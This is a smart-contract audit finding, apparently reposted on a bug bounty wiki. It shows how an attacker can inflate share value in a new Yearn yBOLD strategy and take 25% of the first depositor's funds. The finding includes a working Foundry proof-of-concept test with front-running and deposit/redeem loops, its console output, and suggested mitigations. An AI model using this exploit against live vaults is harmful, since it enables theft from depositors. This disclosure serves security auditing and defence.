A malicious attacker can steal 25% of the funds of the first depositor in a strategy
The strategy contract allows share value inflation because it lacks an initial deposit, enabling an attacker to manipulate the share price and steal 25% of the first depositor's funds. The attacker can front-run the depositor's transaction and inflate the share value so that the depositor receives fewer shares, then withdraw a disproportionate amount.
Source: https://github.com/sherlock-audit/2025-05-yearn-ybold-judging/issues/154
Found by
Obsidian
Summary
Inflatability of the TokenizedStrategy share value, combined with the lack of an initial deposit via the StrategyFactory, allows a malicious attacker to steal 25% of the first depositor's funds.
Root Cause
The Strategy contract inherits it's vault logic from Yearn's BaseStrategy which delegates to the logic of the TokenizedStrategy contract.
The issue is that the Strategy does not perform an initial deposit into the vault during construction, allowing an attacker to inflate the share value to steal from a depositor.
Internal Pre-conditions
N/A
External Pre-conditions
N/A
Attack Path
The following attack uses a malicious admin to make the attack easier and quicker:
- set profit max unlock time to zero (helps make the attack's setup instant)
- immediately report the 1 wei profit (helps immediately achieve the state of totalAssets=2, totalShares=1)
The README states that admins should not be able to steal depositor funds:
if any role is able to set a value in a way that could result in the theft of depositor funds, this would be considered a valid finding. No role should be capable of stealing from depositors or permanently blocking withdrawals.
Nonetheless, the attack is still possible without the admin involvement, it would just require waiting for the profit max unlock time to complete, and for a keeper to report the 1 wei of profit
Attack path:
- New strategy is created (via the
StrategyFactoryfor example) - Malicious attacker observes the first depositor's transaction in the mempool (assume a $100k deposit)
- Malicious attacker performs the following steps to inflate the share value:
- deposit 1 wei of BOLD into the strategy
- transfer 1 wei of BOLD into the strategy contract
report()the gain, to achieve the state of totalAssets=2, totalShares=1; which is needed for inflation to begin- repeatedly deposit and redeem shares, donating to the vault due to the rounding against the attacker.
- the share value is inflated up to a state where 1 wei of shares is equivalent to $50k + 1 wei assets
- due to the share value being inflated at an exponential rate, the above steps all occur in a single tx
- depositor's transaction goes through, the shares owed to them is equal to 1.9999999, which rounds down to 1
- Now the state is
totalAssets = $150k + 1 wei, totalShares = 2 - The attacker can withdraw their 1 share for half of the total assets, receiving $75k. The attacker profits $25k, while the depositor loses $25k, which is 25% of the depositor's funds
Impact
A malicious attacker can steal 25% of the first depositor's deposited funds, forcing the depositor to suffer a substantial loss.
PoC
Add the following PoC to Operation.t.sol
Console output:
Logs:
totalAssets 2e0
totalSupply 1e0
totalAssets 5.0000000000000000000001e22
totalSupply 1e0
attacker profit 2.4999999999999999999999e22
user loss 2.4999999999999999999999e22
user's deposit 1e23
Test:
function test_steal_from_first_deposit() public {
address attacker = makeAddr("attacker");
deal(address(asset), attacker, 1e23);
deal(address(asset), user, 1e23);
uint attackerBalanceBefore = asset.balanceOf(attacker);
uint userBalanceBefore = asset.balanceOf(user);
////////// TX 1 //////////
vm.startPrank(management);
strategy.setProfitMaxUnlockTime(0);
vm.startPrank(attacker);
asset.approve(address(strategy), type(uint256).max);
// deposit 1 wei of assets
strategy.deposit(1, attacker);
// donate and report a profit of 1 wei (to achieve initial state of 2 assets, 1 share)
asset.transfer(address(strategy), 1);
vm.startPrank(management);
strategy.report();
console2.log("totalAssets %e", strategy.totalAssets());
console2.log("totalSupply %e", strategy.totalSupply());
// innocent user intends to deposit 1e23 BOLD (~$100k)
uint userDeposit = 1e23;
vm.startPrank(attacker);
// in a single tx, attacker frontruns user by exponentially inflating share value to $50k + 1
while (true) {
strategy.deposit(strategy.totalAssets() * 2 - 1, attacker);
if (strategy.totalAssets() > 1 + userDeposit / 2) {
strategy.withdraw(strategy.totalAssets() - (1 + userDeposit / 2), attacker, attacker, 10_000);
console2.log("totalAssets %e", strategy.totalAssets());
console2.log("totalSupply %e", strategy.totalSupply());
break;
}
strategy.redeem(1, attacker, attacker, 10_000);
}
////////// TX 2 //////////
// user deposits 1e23 BOLD (~$100k)
// they are meant to receive 1.99999999 shares, this is rounded down to 1 share
vm.startPrank(user);
asset.approve(address(strategy), userDeposit);
strategy.deposit(userDeposit, user);
// attacker withdraws funds, stealing 25% of depositor's funds
vm.startPrank(attacker);
uint assets = strategy.redeem(strategy.balanceOf(attacker), attacker, attacker, 10_000);
vm.startPrank(user);
uint userAssets = strategy.redeem(strategy.maxRedeem(user), user, user, 10_000);
uint attackerBalanceAfter = asset.balanceOf(attacker);
uint userBalanceAfter = asset.balanceOf(user);
console2.log("attacker profit %e", (attackerBalanceAfter - attackerBalanceBefore));
console2.log("user loss %e", (userBalanceBefore - userBalanceAfter));
console2.log("user's deposit %e", userDeposit);
}
Mitigation
One solution would be to enforce a small initial deposit (>1000 wei) upon deployment of a new strategy in the StrategyFactory, and burning the minted shares. This prevents the shares from being inflatable.
Another solution is to use slippage protection in the deposit function to set a minimum number of shares received.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The strategy does not perform an initial deposit during construction, allowing the share value to be inflated by an attacker.
Impact
A malicious attacker can steal 25% of the first depositor's deposited funds, causing a substantial loss.
What the attacker needed
Attacker can front-run depositor's transaction; strategy has no initial deposit; attacker has small initial capital
The fix
The strategy should enforce a small initial deposit (e.g., >1000 wei) upon deployment and burn the minted shares, or use slippage protection in the deposit function to set a minimum number of shares received.
How it was found
- A new strategy is created via the StrategyFactory.
- The attacker observes the first depositor's transaction in the mempool.
- The attacker deposits 1 wei, transfers 1 wei directly, and reports the gain to set totalAssets=2 and totalShares=1.
- The attacker repeatedly deposits and redeems shares, donating to the vault due to rounding, inflating the share value to $50k + 1 wei per share.
- The depositor's transaction executes, but due to rounding they receive only 1 share instead of ~2.
- The attacker withdraws their 1 share for half the total assets, stealing 25% of the depositor's funds.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you put money into a shared fund, you get shares representing your portion. If the fund's total value is very small, an attacker can manipulate the share price by making tiny deposits and donations, causing later depositors to get fewer shares than they should. The attacker then withdraws more than they put in, stealing from the later depositor.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.